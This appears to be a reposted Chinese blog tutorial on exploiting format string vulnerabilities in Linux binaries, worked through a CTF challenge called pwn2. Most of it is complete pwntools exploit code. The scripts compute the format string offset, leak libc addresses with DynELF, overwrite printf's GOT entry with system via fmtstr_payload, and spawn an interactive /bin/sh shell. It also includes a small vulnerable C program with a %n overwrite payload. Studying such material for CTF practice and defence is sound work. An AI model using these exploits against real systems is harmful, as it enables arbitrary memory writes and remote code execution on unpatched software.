您的位置:首页 > 运维架构 > Linux

Linux 格式化字符串漏洞利用

2017-05-18 22:32 330 查看
目的是接触一些常见的漏洞,增加自己的视野。格式化字符串危害最大的就两点,一点是leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。下面结合着自己的学习经历,把漏洞详细的讲解一下,附上大量的实例。

0x01 漏洞简述
0x1 简介

0x2 产生条件

0x02 内存读取
0x1 printf 参数格式

0x2 堆栈情况

0x3 实例分析
1计算参数偏移个数
1 gdb调试

2 利用pwntools计算

4000

2利用DynELF实现内存泄露

0x03 内存写入

0x01 漏洞简述

0x1 简介

格式化字符串漏洞是一种常见的漏洞,原理和利用方法也很简单,主要利用方式就是实现内存任意读和写。前提是其中的参数可控。如果要深入理解漏洞必须进行大量的实验。

0x2 产生条件

首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值,一般是循环执行

0x02 内存读取

这是泄露内存的过程

0x1 printf 参数格式

这部分来自icemakr的博客

32位

读

'%{}$x'.format(index)           // 读4个字节
'%{}$p'.format(index)           // 同上面
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
64位

读

'%{}$x'.format(index, num)      // 读4个字节
'%{}$lx'.format(index, num)     // 读8个字节
'%{}$p'.format(index)           // 读8个字节
'${}$s'.format(index)
写

'%{}$n'.format(index)           // 解引用,写入四个字节
'%{}$hn'.format(index)          // 解引用,写入两个字节
'%{}$hhn'.format(index)         // 解引用,写入一个字节
'%{}$lln'.format(index)         // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD


0x2 堆栈情况



printf("%s%d%d%d")
后面没有参数时,会打印后面的堆栈值。如果有read等函数,内存值可控,就可以实现内存任意读、任意写。

在64位环境下的格式化字符串利用又是另一回事,在这里稍微的提一下,以免其他同学在走错道

程序为64位,在64位下,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是说,若使用”x$”,当1<=x<=6时,指向的应该依次是上述这6个寄存器中保存的数值),而从第7个参数开始,依然会保存在栈中。故若使用”x$”,则从x=7开始,我们就可以指向栈中数据了。


0x3 实例分析

这里选用广东省红帽杯的pwn2来具体说明。

首先看一下IDA反汇编代码

while ( 1 )
{
memset(&v2, 0, 0x400u);
read(0, &v2, 0x400u);
printf((const char *)&v2);
fflush(stdout);
}


我们发现了read函数,printf函数标准的格式化字符串漏洞。

1计算参数偏移个数

这里有两种方式

(1) gdb调试

在printf之前设置断点,0x0804852E



单步进入sprintf函数中,查看堆栈值



我们发现了我们可控的内存距离sprintf之间的距离为7

(2) 利用pwntools计算

利用FmStr函数计算

from pwn import *
# coding:utf-8
# io = process('./pwn2')
# io =remote('106.75.93.221', 20003)
elf = ELF('./pwn2')

def test(payload):
io = process('./pwn2')
io.sendline(payload)
info = io.recv()
io.close
return info
autofmt = FmtStr(test)
print autofmt.offset


2利用DynELF实现内存泄露

在这里我先介绍一下DynELF泄露内存的原理,采用这篇博客里写的

我们应该怎么才能根据已知的函数地址来得到目标函数地址,需要有一下条件

1.我们拥有从Linux发型以来所有版本的 libc 文件

2.我们已知至少两个函数函数在目标主机中的真实地址

那么我们是不是可以用第二个条件去推测目标主机的 libc 版本呢 ?

我们来进行进一步的分析 :

关于条件二 :

这里我们可以注意到 : printf 是可以被我们循环调用的

因此可以进行连续的内存泄露

我们可以将多个 got 表中的函数地址泄露出来 ,

我们这样就可以的至少两个函数的地址 , 条件二满足

关于条件一 :

哈哈~对了 , 这么有诱惑力的事情一定已经有人做过了 , 这里给出一个网站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根据这个原理运作的

两个条件都满足 , 根据这些函数之间的偏移去筛选出 libc 的版本

这样我们就相当于得到了目标服务器的 libc 文件 , 达到了同样的效果

以上是原理,其实说白了就是要利用能够打印指定内存的函数

#coding:utf-8
from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')
#计算偏移
def test(payload):
temp = process('./pwn2')
temp.sendline(payload)
info = temp.recv()
temp.close()
return info

auto = FmtStr(test)
print auto.offset
#泄露内存 因为函数本来可以循环执行所以不用rop链闭合
def leak(addr):
payload = 'A%9$s'#这里需要注意一下 为了精确泄露内存用字符定下位
payload += 'AAA'
payload += p32(addr)
sh.sendline(payload)
sh.recvuntil('A')
content = sh.recvuntil('AAA')
# content = sh.recv(4)
print content
if(len(content) == 3):
print '[*] NULL'
return '\x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
print len(content)
return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')#意思是在libc中寻找system地址
log.info('system_addr:' + hex(system_addr))


0x03 内存写入

首先分析一个简单点的程序

#include <stdio.h>
int main() {
int flag=5 ;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good\n" );
}
return 0;
}


利用gdb调试一下,在printf处设断点。查看一下堆栈的状况



发现偏移为5 于是构造
%010x%010x%010x%01970x%n




这里只是对于flag内存的修改,并没有达到任意修改的效果,任意修改需要计算偏移利用写好内存地址,利用%n直接修改。下面继续pwn2的讲解

在pwntools中有现成的函数可以使用
fmtstr_payload
可以实现修改任意内存

fmtstr_payload(auto.offset, {printf_got: system_addr})
(偏移,{原地址:目的地址})

from pwn import *
sh = process('./pwn2')
elf = ELF('./pwn2')

def test(payload):
temp = process('./pwn2')
temp.sendline(payload)
info = temp.recv()
temp.close()
return info

auto = FmtStr(test)
print auto.offset

def leak(addr):
payload = 'A%9$s'
payload += 'AAA'
payload += p32(addr)
sh.sendline(payload)
sh.recvuntil('A')
content = sh.recvuntil('AAA')
# content = sh.recv(4)
print content
if(len(content) == 3):
print '[*] NULL'
return '\x00'
else:
print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))
print len(content)
return content[0:-3]
#-------- leak system
d = DynELF(leak, elf=ELF('./pwn2'))
system_addr = d.lookup('system','libc')
log.info('system_addr:' + hex(system_addr))

#-------- change GOT
printf_got = elf.got['printf']
log.info(hex(printf_got))

payload = fmtstr_payload(auto.offset, {printf_got: system_addr})
sh.sendline(payload)

payload = '/bin/sh\x00'
sh.sendline(payload)

sh.interactive()
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  linux 漏洞 格式化